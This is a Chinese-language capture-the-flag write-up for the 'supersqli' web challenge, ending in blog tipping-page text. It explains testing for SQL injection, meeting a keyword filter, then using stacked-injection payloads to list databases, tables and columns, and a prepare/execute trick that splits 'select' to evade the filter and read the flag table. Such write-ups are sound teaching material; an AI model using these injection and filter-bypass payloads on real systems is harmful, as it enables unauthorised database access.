攻防世界-Web-supersqli

本题涉及到了堆叠注入、MySQL预编译

0x01

SQL注入的题目,按照流程来验证SQL注入漏洞。
首先输入1' and '1'='1发现正常输出,然后输入1' and '1'='2发现没有输出,进一步尝试联合注入,输入1' union select 1 #结果返回了

return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

可见后端过滤掉了一些SQL关键字,显然不能直接通过这些关键字进行注入。

0x02

尝试使用堆叠注入,构造:1';show databases;#,执行成功了,返回如图:
在这里插入图片描述但是现在似乎不能验证当前数据库是哪个,不过也不影响我们通过show tables命令来列出当前数据库的表。(通过show tables from XX可以验证现在使用的是supersqli)

0x03

提交1';show tables;#,获取到所有表:
在这里插入图片描述里面有两个表:words和1919810931114514

0x04

提交1';show columns from words;#列出words表中的字段:
在这里插入图片描述提交1';show columns from `1919810931114514`;#注意反引号
在这里插入图片描述发现flag字段

0x05

接下来使用MySQL的预编译来执行对1919810931114514的查询,具体构造方法如下:
1';prepare pre from concat('s', 'elect * from `1919810931114514`');execute pre;#

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值